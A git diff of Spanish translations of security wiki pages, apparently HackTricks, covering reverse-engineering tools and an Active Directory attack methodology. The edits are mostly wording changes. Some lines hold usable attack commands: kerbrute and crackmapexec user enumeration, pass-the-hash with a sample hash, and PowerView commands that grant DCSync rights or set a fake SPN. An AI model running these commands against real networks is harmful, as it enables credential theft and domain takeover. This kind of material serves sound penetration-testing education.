||||
{{#ref}}
|
||||
blobrunner.md
|
||||
@ -220,7 +220,7 @@ La opción **Create Dump** volcará el shellcode final si se realiza algún camb
|
||||
|
||||
### Desensamblando usando CyberChef
|
||||
|
||||
Sube tu archivo de shellcode como entrada y usa la siguiente receta para descompilarlo: [https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](<https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)>)
|
||||
Sube tu archivo de shellcode como entrada y utiliza la siguiente receta para decompilarlo: [https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](<https://gchq.github.io/CyberChef/index.html#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)>)
|
||||
|
||||
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
||||
|
||||
@ -251,7 +251,7 @@ Teniendo el **nombre** de las **funciones** que se están llamando, búscalas en
|
||||
|
||||
Para binarios compilados en Delphi puedes usar [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
|
||||
|
||||
Si tienes que revertir un binario de Delphi, te sugeriría usar el plugin de IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||
Si tienes que hacer ingeniería inversa a un binario de Delphi, te sugeriría usar el plugin de IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||
|
||||
Solo presiona **ATL+f7** (importar plugin de python en IDA) y selecciona el plugin de python.
|
||||
|
||||
@ -261,7 +261,7 @@ También es muy interesante porque si presionas un botón en la aplicación grá
|
||||
|
||||
## Golang
|
||||
|
||||
Si tienes que revertir un binario de Golang, te sugeriría usar el plugin de IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||
Si tienes que hacer ingeniería inversa a un binario de Golang, te sugeriría usar el plugin de IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||
|
||||
Solo presiona **ATL+f7** (importar plugin de python en IDA) y selecciona el plugin de python.
|
||||
|
||||
@ -340,7 +340,7 @@ uVar2 = DAT_030004dc;
|
||||
uVar1 = *puVar6;
|
||||
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
|
||||
```
|
||||
La última condición verifica si **`uVar4`** está en las **últimas teclas** y no es la tecla actual, también llamada soltar un botón (la tecla actual se almacena en **`uVar1`**).
|
||||
La última condición if verifica que **`uVar4`** esté en las **últimas teclas** y no sea la tecla actual, también llamada soltar un botón (la tecla actual se almacena en **`uVar1`**).
|
||||
```c
|
||||
if (uVar1 == 4) {
|
||||
DAT_030000d4 = 0;
|
||||
|
||||
@ -14,15 +14,15 @@ Los conceptos clave dentro de **Active Directory** incluyen:
|
||||
2. **Objeto** – Denota entidades dentro del directorio, incluyendo **usuarios**, **grupos** o **carpetas compartidas**.
|
||||
3. **Dominio** – Sirve como un contenedor para objetos de directorio, con la capacidad de que múltiples dominios coexistan dentro de un **bosque**, cada uno manteniendo su propia colección de objetos.
|
||||
4. **Árbol** – Un agrupamiento de dominios que comparten un dominio raíz común.
|
||||
5. **Bosque** – La cúspide de la estructura organizativa en Active Directory, compuesto por varios árboles con **relaciones de confianza** entre ellos.
|
||||
5. **Bosque** – La cúspide de la estructura organizativa en Active Directory, compuesta por varios árboles con **relaciones de confianza** entre ellos.
|
||||
|
||||
**Active Directory Domain Services (AD DS)** abarca una gama de servicios críticos para la gestión y comunicación centralizadas dentro de una red. Estos servicios comprenden:
|
||||
**Active Directory Domain Services (AD DS)** abarca una gama de servicios críticos para la gestión y comunicación centralizada dentro de una red. Estos servicios comprenden:
|
||||
|
||||
1. **Servicios de Dominio** – Centraliza el almacenamiento de datos y gestiona las interacciones entre **usuarios** y **dominios**, incluyendo funcionalidades de **autenticación** y **búsqueda**.
|
||||
2. **Servicios de Certificado** – Supervisa la creación, distribución y gestión de **certificados digitales** seguros.
|
||||
3. **Servicios de Directorio Ligero** – Soporta aplicaciones habilitadas para directorios a través del **protocolo LDAP**.
|
||||
4. **Servicios de Federación de Directorio** – Proporciona capacidades de **inicio de sesión único** para autenticar usuarios a través de múltiples aplicaciones web en una sola sesión.
|
||||
5. **Gestión de Derechos** – Ayuda a proteger material con derechos de autor regulando su distribución y uso no autorizados.
|
||||
5. **Gestión de Derechos** – Ayuda a proteger material con derechos de autor regulando su distribución y uso no autorizado.
|
||||
6. **Servicio DNS** – Crucial para la resolución de **nombres de dominio**.
|
||||
|
||||
Para una explicación más detallada, consulta: [**TechTerms - Definición de Active Directory**](https://techterms.com/definition/active_directory)
|
||||
@ -69,14 +69,14 @@ Si solo tienes acceso a un entorno AD pero no tienes credenciales/sesiones, podr
|
||||
- Recolectar credenciales **exponiendo** [**servicios UPnP falsos con evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
|
||||
- Extraer nombres de usuario/nombres de documentos internos, redes sociales, servicios (principalmente web) dentro de los entornos de dominio y también de los disponibles públicamente.
|
||||
- Si encuentras los nombres completos de los trabajadores de la empresa, podrías intentar diferentes **convenciones de nombres de usuario de AD** ([**lee esto**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Las convenciones más comunes son: _NombreApellido_, _Nombre.Apellido_, _NamSur_ (3 letras de cada uno), _Nam.Sur_, _NSurname_, _N.Apellido_, _ApellidoNombre_, _Apellido.Nombre_, _ApellidoN_, _Apellido.N_, 3 _letras aleatorias y 3 números aleatorios_ (abc123).
|
||||
- Si encuentras los nombres completos de los trabajadores de la empresa, podrías intentar diferentes convenciones de **nombres de usuario de AD** (**[lee esto](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Las convenciones más comunes son: _NombreApellido_, _Nombre.Apellido_, _NamSur_ (3 letras de cada uno), _Nam.Sur_, _NSurname_, _N.Apellido_, _ApellidoNombre_, _Apellido.Nombre_, _ApellidoN_, _Apellido.N_, 3 _letras aleatorias y 3 números aleatorios_ (abc123).
|
||||
- Herramientas:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
|
||||
### Enumeración de usuarios
|
||||
|
||||
- **Enumeración anónima SMB/LDAP:** Consulta las páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) y [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
|
||||
- **Enumeración anónima de SMB/LDAP:** Consulta las páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) y [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
|
||||
- **Enumeración Kerbrute**: Cuando se solicita un **nombre de usuario inválido**, el servidor responderá utilizando el código de error **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, lo que nos permite determinar que el nombre de usuario era inválido. **Nombres de usuario válidos** provocarán ya sea el **TGT en una respuesta AS-REP** o el error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que se requiere que el usuario realice una pre-autenticación.
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
@ -90,7 +90,7 @@ crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
|
||||
```
|
||||
- **Servidor OWA (Outlook Web Access)**
|
||||
|
||||
Si encuentras uno de estos servidores en la red, también puedes realizar **enumeración de usuarios contra él**. Por ejemplo, podrías usar la herramienta [**MailSniper**](https://github.com/dafthack/MailSniper):
|
||||
Si encontraste uno de estos servidores en la red, también puedes realizar **enumeración de usuarios contra él**. Por ejemplo, podrías usar la herramienta [**MailSniper**](https://github.com/dafthack/MailSniper):
|
||||
```bash
|
||||
ipmo C:\Tools\MailSniper\MailSniper.ps1
|
||||
# Get info about the domain
|
||||
@ -109,11 +109,11 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
|
||||
|
||||
### Conociendo uno o varios nombres de usuario
|
||||
|
||||
Ok, así que ya sabes que tienes un nombre de usuario válido pero no contraseñas... Entonces intenta:
|
||||
Ok, así que sabes que ya tienes un nombre de usuario válido pero no contraseñas... Entonces intenta:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): Si un usuario **no tiene** el atributo _DONT_REQ_PREAUTH_, puedes **solicitar un mensaje AS_REP** para ese usuario que contendrá algunos datos encriptados por una derivación de la contraseña del usuario.
|
||||
- [**Password Spraying**](password-spraying.md): Intentemos con las **contraseñas más comunes** con cada uno de los usuarios descubiertos, tal vez algún usuario esté usando una mala contraseña (¡ten en cuenta la política de contraseñas!).
|
||||
- Ten en cuenta que también puedes **spray servidores OWA** para intentar acceder a los servidores de correo de los usuarios.
|
||||
- [**Password Spraying**](password-spraying.md): Intentemos con las contraseñas más **comunes** con cada uno de los usuarios descubiertos, tal vez algún usuario esté usando una mala contraseña (¡ten en cuenta la política de contraseñas!).
|
||||
- Ten en cuenta que también puedes **rociar servidores OWA** para intentar acceder a los servidores de correo de los usuarios.
|
||||
|
||||
{{#ref}}
|
||||
password-spraying.md
|
||||
@ -127,9 +127,9 @@ Podrías ser capaz de **obtener** algunos **hashes** de desafío para romper **e
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
### Relay NTML
|
||||
### Relevo NTML
|
||||
|
||||
Si has logrado enumerar el directorio activo, tendrás **más correos electrónicos y una mejor comprensión de la red**. Podrías forzar ataques de relay NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* para obtener acceso al entorno de AD.
|
||||
Si has logrado enumerar el directorio activo, tendrás **más correos electrónicos y una mejor comprensión de la red**. Podrías forzar ataques de relevo NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* para obtener acceso al entorno de AD.
|
||||
|
||||
### Robar Credenciales NTLM
|
||||
|
||||
@ -189,7 +189,7 @@ Una vez que hayas obtenido algunas credenciales, podrías verificar si tienes ac
|
||||
|
||||
### Escalación de privilegios local
|
||||
|
||||
Si has comprometido credenciales o una sesión como un usuario de dominio regular y tienes **acceso** con este usuario a **cualquier máquina en el dominio**, deberías intentar encontrar la manera de **escalar privilegios localmente y buscar credenciales**. Esto se debe a que solo con privilegios de administrador local podrás **volcar hashes de otros usuarios** en memoria (LSASS) y localmente (SAM).
|
||||
Si has comprometido credenciales o una sesión como un usuario regular de dominio y tienes **acceso** con este usuario a **cualquier máquina en el dominio**, deberías intentar encontrar la manera de **escalar privilegios localmente y buscar credenciales**. Esto se debe a que solo con privilegios de administrador local podrás **volcar hashes de otros usuarios** en memoria (LSASS) y localmente (SAM).
|
||||
|
||||
Hay una página completa en este libro sobre [**escalación de privilegios local en Windows**](../windows-local-privilege-escalation/) y una [**lista de verificación**](../checklist-windows-privilege-escalation.md). Además, no olvides usar [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
|
||||
@ -211,7 +211,7 @@ Si has logrado enumerar el directorio activo, tendrás **más correos electróni
|
||||
|
||||
Ahora que tienes algunas credenciales básicas, deberías verificar si puedes **encontrar** archivos **interesantes que se compartan dentro del AD**. Podrías hacerlo manualmente, pero es una tarea muy aburrida y repetitiva (y más si encuentras cientos de documentos que necesitas revisar).
|
||||
|
||||
[**Sigue este enlace para aprender sobre herramientas que podrías usar.**](../../network-services-pentesting/pentesting-smb/#domain-shared-folders-search)
|
||||
[**Sigue este enlace para aprender sobre herramientas que podrías usar.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
|
||||
### Robar Credenciales NTLM
|
||||
|
||||
@ -243,9 +243,9 @@ Luego, es hora de volcar todos los hashes en memoria y localmente.\
|
||||
|
||||
**Una vez que tengas el hash de un usuario**, puedes usarlo para **suplantarlo**.\
|
||||
Necesitas usar alguna **herramienta** que **realice** la **autenticación NTLM usando** ese **hash**, **o** podrías crear un nuevo **sessionlogon** e **inyectar** ese **hash** dentro de **LSASS**, para que cuando se realice cualquier **autenticación NTLM**, ese **hash será utilizado.** La última opción es lo que hace mimikatz.\
|
||||
[**Lee esta página para más información.**](../ntlm/#pass-the-hash)
|
||||
[**Lee esta página para más información.**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### Over Pasar el Hash/Pasar la Clave
|
||||
### Over Pass the Hash/Pass the Key
|
||||
|
||||
Este ataque tiene como objetivo **usar el hash NTLM del usuario para solicitar tickets Kerberos**, como una alternativa al común Pass The Hash sobre el protocolo NTLM. Por lo tanto, esto podría ser especialmente **útil en redes donde el protocolo NTLM está deshabilitado** y solo se **permite Kerberos** como protocolo de autenticación.
|
||||
|
||||
@ -274,7 +274,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
|
||||
### Abuso de MSSQL y enlaces de confianza
|
||||
|
||||
Si un usuario tiene privilegios para **acceder a instancias de MSSQL**, podría ser capaz de usarlo para **ejecutar comandos** en el host de MSSQL (si se ejecuta como SA), **robar** el **hash** de NetNTLM o incluso realizar un **ataque** de **retransmisión**.\
|
||||
Si un usuario tiene privilegios para **acceder a instancias de MSSQL**, podría ser capaz de usarlo para **ejecutar comandos** en el host de MSSQL (si se ejecuta como SA), **robar** el **hash** de NetNTLM o incluso realizar un **ataque** de **relevo**.\
|
||||
Además, si una instancia de MSSQL es confiable (enlace de base de datos) por otra instancia de MSSQL. Si el usuario tiene privilegios sobre la base de datos confiable, podrá **usar la relación de confianza para ejecutar consultas también en la otra instancia**. Estas confianzas pueden encadenarse y en algún momento el usuario podría encontrar una base de datos mal configurada donde puede ejecutar comandos.\
|
||||
**Los enlaces entre bases de datos funcionan incluso a través de confianzas de bosque.**
|
||||
|
||||
@ -295,7 +295,7 @@ unconstrained-delegation.md
|
||||
### Delegación restringida
|
||||
|
||||
Si un usuario o computadora está permitido para "Delegación Restringida", podrá **imitar a cualquier usuario para acceder a algunos servicios en una computadora**.\
|
||||
Luego, si **comprometes el hash** de este usuario/computadora, podrás **imitar a cualquier usuario** (incluso administradores de dominio) para acceder a algunos servicios.
|
||||
Entonces, si **comprometes el hash** de este usuario/computadora, podrás **imitar a cualquier usuario** (incluso administradores de dominio) para acceder a algunos servicios.
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
@ -352,7 +352,7 @@ ad-certificates/certificate-theft.md
|
||||
|
||||
### Abuso de plantillas de certificados
|
||||
|
||||
Si se configuran **plantillas vulnerables**, es posible abusar de ellas para escalar privilegios:
|
||||
Si hay **plantillas vulnerables** configuradas, es posible abusar de ellas para escalar privilegios:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-escalation.md
|
||||
@ -385,7 +385,7 @@ Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
|
||||
- Conceder privilegios de [**DCSync**](./#dcsync) a un usuario
|
||||
- Conceder privilegios de [**DCSync**](#dcsync) a un usuario
|
||||
|
||||
```powershell
|
||||
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
|
||||
@ -403,7 +403,7 @@ silver-ticket.md
|
||||
|
||||
Un **ataque de Ticket Dorado** implica que un atacante obtenga acceso al **hash de NTLM de la cuenta krbtgt** en un entorno de Active Directory (AD). Esta cuenta es especial porque se utiliza para firmar todos los **Tickets de Concesión de Tickets (TGTs)**, que son esenciales para la autenticación dentro de la red AD.
|
||||
|
||||
Una vez que el atacante obtiene este hash, puede crear **TGTs** para cualquier cuenta que elija (ataque de Ticket Plateado).
|
||||
Una vez que el atacante obtiene este hash, puede crear **TGTs** para cualquier cuenta que elija (ataque de ticket plateado).
|
||||
|
||||
{{#ref}}
|
||||
golden-ticket.md
|
||||
@ -417,7 +417,7 @@ Estos son como tickets dorados forjados de una manera que **elude los mecanismos
|
||||
diamond-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### **Persistencia de Cuenta de Certificados**
|
||||
### **Persistencia de cuentas de certificados**
|
||||
|
||||
**Tener certificados de una cuenta o poder solicitarlos** es una muy buena manera de poder persistir en la cuenta de los usuarios (incluso si cambia la contraseña):
|
||||
|
||||
@ -425,7 +425,7 @@ diamond-ticket.md
|
||||
ad-certificates/account-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### **Persistencia de Dominio de Certificados**
|
||||
### **Persistencia de dominio de certificados**
|
||||
|
||||
**Usar certificados también es posible para persistir con altos privilegios dentro del dominio:**
|
||||
|
||||
@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### Grupo AdminSDHolder
|
||||
|
||||
El objeto **AdminSDHolder** en Active Directory asegura la seguridad de los **grupos privilegiados** (como Administradores de Dominio y Administradores de Empresa) aplicando una **Lista de Control de Acceso (ACL)** estándar en estos grupos para prevenir cambios no autorizados. Sin embargo, esta característica puede ser explotada; si un atacante modifica la ACL de AdminSDHolder para dar acceso total a un usuario regular, ese usuario obtiene un control extenso sobre todos los grupos privilegiados. Esta medida de seguridad, destinada a proteger, puede por lo tanto volverse en contra, permitiendo un acceso no autorizado a menos que se supervise de cerca.
|
||||
El objeto **AdminSDHolder** en Active Directory asegura la seguridad de los **grupos privilegiados** (como Administradores de Dominio y Administradores de Empresa) aplicando una **Lista de Control de Acceso (ACL)** estándar en estos grupos para prevenir cambios no autorizados. Sin embargo, esta característica puede ser explotada; si un atacante modifica la ACL de AdminSDHolder para otorgar acceso total a un usuario regular, ese usuario obtiene un control extenso sobre todos los grupos privilegiados. Esta medida de seguridad, destinada a proteger, puede por lo tanto volverse en su contra, permitiendo un acceso no autorizado a menos que se supervise de cerca.
|
||||
|
||||
[**Más información sobre el Grupo AdminDSHolder aquí.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
[**Más información sobre el grupo AdminDSHolder aquí.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
### Credenciales DSRM
|
||||
### Credenciales de DSRM
|
||||
|
||||
Dentro de cada **Controlador de Dominio (DC)**, existe una cuenta de **administrador local**. Al obtener derechos de administrador en tal máquina, se puede extraer el hash del Administrador local usando **mimikatz**. Después de esto, es necesaria una modificación del registro para **habilitar el uso de esta contraseña**, permitiendo el acceso remoto a la cuenta de Administrador local.
|
||||
Dentro de cada **Controlador de Dominio (DC)**, existe una cuenta de **administrador local**. Al obtener derechos de administrador en tal máquina, el hash del Administrador local puede ser extraído usando **mimikatz**. Después de esto, es necesaria una modificación del registro para **habilitar el uso de esta contraseña**, permitiendo el acceso remoto a la cuenta del Administrador local.
|
||||
|
||||
{{#ref}}
|
||||
dsrm-credentials.md
|
||||
@ -455,7 +455,7 @@ Podrías **dar** algunos **permisos especiales** a un **usuario** sobre algunos
|
||||
acl-persistence-abuse/
|
||||
{{#endref}}
|
||||
|
||||
### Descriptores de Seguridad
|
||||
### Descriptores de seguridad
|
||||
|
||||
Los **descriptores de seguridad** se utilizan para **almacenar** los **permisos** que un **objeto** tiene **sobre** otro **objeto**. Si puedes **hacer** un **pequeño cambio** en el **descriptor de seguridad** de un objeto, puedes obtener privilegios muy interesantes sobre ese objeto sin necesidad de ser miembro de un grupo privilegiado.
|
||||
|
||||
@ -471,9 +471,9 @@ Alterar **LSASS** en memoria para establecer una **contraseña universal**, otor
|
||||
skeleton-key.md
|
||||
{{#endref}}
|
||||
|
||||
### SSP Personalizado
|
||||
### SSP personalizado
|
||||
|
||||
[Aprende qué es un SSP (Proveedor de Soporte de Seguridad) aquí.](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
|
||||
[Aprende qué es un SSP (Proveedor de Soporte de Seguridad) aquí.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
Puedes crear tu **propio SSP** para **capturar** en **texto claro** las **credenciales** utilizadas para acceder a la máquina.\\
|
||||
|
||||
{{#ref}}
|
||||
@ -482,7 +482,7 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
Registra un **nuevo Controlador de Dominio** en el AD y lo utiliza para **empujar atributos** (SIDHistory, SPNs...) en objetos especificados **sin** dejar ningún **registro** sobre las **modificaciones**. Necesitas privilegios de DA y estar dentro del **dominio raíz**.\
|
||||
Registra un **nuevo Controlador de Dominio** en el AD y lo utiliza para **empujar atributos** (SIDHistory, SPNs...) en objetos específicos **sin** dejar ningún **registro** sobre las **modificaciones**. Necesitas privilegios de DA y estar dentro del **dominio raíz**.\
|
||||
Ten en cuenta que si usas datos incorrectos, aparecerán registros bastante feos.
|
||||
|
||||
{{#ref}}
|
||||
@ -498,24 +498,24 @@ Revisa:
|
||||
laps.md
|
||||
{{#endref}}
|
||||
|
||||
## Escalación de privilegios en el bosque - Confianzas de Dominio
|
||||
## Escalación de privilegios en el bosque - Confianzas de dominio
|
||||
|
||||
Microsoft ve el **Bosque** como el límite de seguridad. Esto implica que **comprometer un solo dominio podría llevar potencialmente a que todo el bosque sea comprometido**.
|
||||
|
||||
### Información Básica
|
||||
### Información básica
|
||||
|
||||
Una [**confianza de dominio**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) es un mecanismo de seguridad que permite a un usuario de un **dominio** acceder a recursos en otro **dominio**. Esencialmente, crea un vínculo entre los sistemas de autenticación de los dos dominios, permitiendo que las verificaciones de autenticación fluyan sin problemas. Cuando los dominios establecen una confianza, intercambian y retienen claves específicas dentro de sus **Controladores de Dominio (DCs)**, que son cruciales para la integridad de la confianza.
|
||||
Una [**confianza de dominio**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) es un mecanismo de seguridad que permite a un usuario de un **dominio** acceder a recursos en otro **dominio**. Esencialmente, crea un vínculo entre los sistemas de autenticación de los dos dominios, permitiendo que las verificaciones de autenticación fluyan sin problemas. Cuando los dominios establecen una confianza, intercambian y retienen **claves** específicas dentro de sus **Controladores de Dominio (DCs)**, que son cruciales para la integridad de la confianza.
|
||||
|
||||
En un escenario típico, si un usuario pretende acceder a un servicio en un **dominio confiable**, primero debe solicitar un ticket especial conocido como un **TGT inter-realm** de su propio DC de dominio. Este TGT está cifrado con una **clave** compartida que ambos dominios han acordado. Luego, el usuario presenta este TGT al **DC del dominio confiable** para obtener un ticket de servicio (**TGS**). Tras la validación exitosa del TGT inter-realm por parte del DC del dominio confiable, emite un TGS, otorgando al usuario acceso al servicio.
|
||||
En un escenario típico, si un usuario pretende acceder a un servicio en un **dominio confiable**, primero debe solicitar un ticket especial conocido como un **TGT inter-realm** de su propio DC de dominio. Este TGT está cifrado con una **clave** compartida que ambos dominios han acordado. El usuario luego presenta este TGT al **DC del dominio confiable** para obtener un ticket de servicio (**TGS**). Tras la validación exitosa del TGT inter-realm por parte del DC del dominio confiable, emite un TGS, otorgando al usuario acceso al servicio.
|
||||
|
||||
**Pasos**:
|
||||
|
||||
1. Una **computadora cliente** en **Dominio 1** inicia el proceso utilizando su **hash de NTLM** para solicitar un **Ticket Granting Ticket (TGT)** de su **Controlador de Dominio (DC1)**.
|
||||
1. Una **computadora cliente** en **Dominio 1** inicia el proceso utilizando su **hash de NTLM** para solicitar un **Ticket de Concesión de Tickets (TGT)** de su **Controlador de Dominio (DC1)**.
|
||||
2. DC1 emite un nuevo TGT si el cliente se autentica con éxito.
|
||||
3. El cliente luego solicita un **TGT inter-realm** de DC1, que es necesario para acceder a recursos en **Dominio 2**.
|
||||
4. El TGT inter-realm está cifrado con una **clave de confianza** compartida entre DC1 y DC2 como parte de la confianza de dominio bidireccional.
|
||||
5. El cliente lleva el TGT inter-realm al **Controlador de Dominio (DC2) de Dominio 2**.
|
||||
6. DC2 verifica el TGT inter-realm utilizando su clave de confianza compartida y, si es válido, emite un **Ticket Granting Service (TGS)** para el servidor en Dominio 2 al que el cliente desea acceder.
|
||||
5. El cliente lleva el TGT inter-realm al **Controlador de Dominio (DC2)** de Dominio 2.
|
||||
6. DC2 verifica el TGT inter-realm utilizando su clave de confianza compartida y, si es válido, emite un **Servicio de Concesión de Tickets (TGS)** para el servidor en Dominio 2 al que el cliente desea acceder.
|
||||
7. Finalmente, el cliente presenta este TGS al servidor, que está cifrado con el hash de la cuenta del servidor, para obtener acceso al servicio en Dominio 2.
|
||||
|
||||
### Diferentes confianzas
|
||||
@ -526,12 +526,12 @@ Si el Dominio A confía en el Dominio B, A es el dominio confiador y B es el con
|
||||
|
||||
**Diferentes relaciones de confianza**
|
||||
|
||||
- **Confianzas Padre-Hijo**: Esta es una configuración común dentro del mismo bosque, donde un dominio hijo tiene automáticamente una confianza transitiva bidireccional con su dominio padre. Esencialmente, esto significa que las solicitudes de autenticación pueden fluir sin problemas entre el padre y el hijo.
|
||||
- **Confianzas de Enlace Cruzado**: Conocidas como "confianzas de acceso directo", se establecen entre dominios hijos para acelerar los procesos de referencia. En bosques complejos, las referencias de autenticación generalmente tienen que viajar hasta la raíz del bosque y luego hacia abajo hasta el dominio objetivo. Al crear enlaces cruzados, el viaje se acorta, lo que es especialmente beneficioso en entornos geográficamente dispersos.
|
||||
- **Confianzas Externas**: Estas se establecen entre diferentes dominios no relacionados y son no transitivas por naturaleza. Según [la documentación de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), las confianzas externas son útiles para acceder a recursos en un dominio fuera del bosque actual que no está conectado por una confianza de bosque. La seguridad se refuerza a través del filtrado de SID con confianzas externas.
|
||||
- **Confianzas de Raíz de Árbol**: Estas confianzas se establecen automáticamente entre el dominio raíz del bosque y una nueva raíz de árbol añadida. Aunque no se encuentran comúnmente, las confianzas de raíz de árbol son importantes para agregar nuevos árboles de dominio a un bosque, permitiéndoles mantener un nombre de dominio único y asegurando la transitividad bidireccional. Más información se puede encontrar en [la guía de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Confianzas de Bosque**: Este tipo de confianza es una confianza transitiva bidireccional entre dos dominios raíz de bosque, también aplicando filtrado de SID para mejorar las medidas de seguridad.
|
||||
- **Confianzas MIT**: Estas confianzas se establecen con dominios Kerberos que cumplen con [RFC4120](https://tools.ietf.org/html/rfc4120) que no son de Windows. Las confianzas MIT son un poco más especializadas y se adaptan a entornos que requieren integración con sistemas basados en Kerberos fuera del ecosistema de Windows.
|
||||
- **Confianzas Padre-Hijo**: Esta es una configuración común dentro del mismo bosque, donde un dominio hijo tiene automáticamente una confianza transitoria bidireccional con su dominio padre. Esencialmente, esto significa que las solicitudes de autenticación pueden fluir sin problemas entre el padre y el hijo.
|
||||
- **Confianzas de enlace cruzado**: Conocidas como "confianzas de acceso directo", se establecen entre dominios hijos para acelerar los procesos de referencia. En bosques complejos, las referencias de autenticación generalmente tienen que viajar hasta la raíz del bosque y luego hacia abajo hasta el dominio objetivo. Al crear enlaces cruzados, el viaje se acorta, lo que es especialmente beneficioso en entornos geográficamente dispersos.
|
||||
- **Confianzas externas**: Estas se establecen entre diferentes dominios no relacionados y son no transitivas por naturaleza. Según [la documentación de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), las confianzas externas son útiles para acceder a recursos en un dominio fuera del bosque actual que no está conectado por una confianza de bosque. La seguridad se refuerza a través del filtrado de SID con confianzas externas.
|
||||
- **Confianzas de raíz de árbol**: Estas confianzas se establecen automáticamente entre el dominio raíz del bosque y un nuevo árbol raíz agregado. Aunque no se encuentran comúnmente, las confianzas de raíz de árbol son importantes para agregar nuevos árboles de dominio a un bosque, permitiéndoles mantener un nombre de dominio único y asegurando la transitividad bidireccional. Más información se puede encontrar en [la guía de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Confianzas de bosque**: Este tipo de confianza es una confianza transitoria bidireccional entre dos dominios raíz de bosque, también aplicando filtrado de SID para mejorar las medidas de seguridad.
|
||||
- **Confianzas MIT**: Estas confianzas se establecen con dominios Kerberos que cumplen con [RFC4120](https://tools.ietf.org/html/rfc4120) y que no son de Windows. Las confianzas MIT son un poco más especializadas y se adaptan a entornos que requieren integración con sistemas basados en Kerberos fuera del ecosistema de Windows.
|
||||
|
||||
#### Otras diferencias en **relaciones de confianza**
|
||||
|
||||
@ -541,17 +541,17 @@ Si el Dominio A confía en el Dominio B, A es el dominio confiador y B es el con
|
||||
### Ruta de ataque
|
||||
|
||||
1. **Enumerar** las relaciones de confianza
|
||||
2. Verificar si algún **principal de seguridad** (usuario/grupo/computadora) tiene **acceso** a recursos del **otro dominio**, tal vez a través de entradas ACE o al estar en grupos del otro dominio. Busca **relaciones entre dominios** (la confianza se creó probablemente para esto).
|
||||
2. Verificar si algún **principal de seguridad** (usuario/grupo/computadora) tiene **acceso** a recursos del **otro dominio**, tal vez por entradas ACE o al estar en grupos del otro dominio. Busca **relaciones entre dominios** (la confianza fue creada para esto probablemente).
|
||||
1. Kerberoast en este caso podría ser otra opción.
|
||||
3. **Comprometer** las **cuentas** que pueden **pivotar** entre dominios.
|
||||
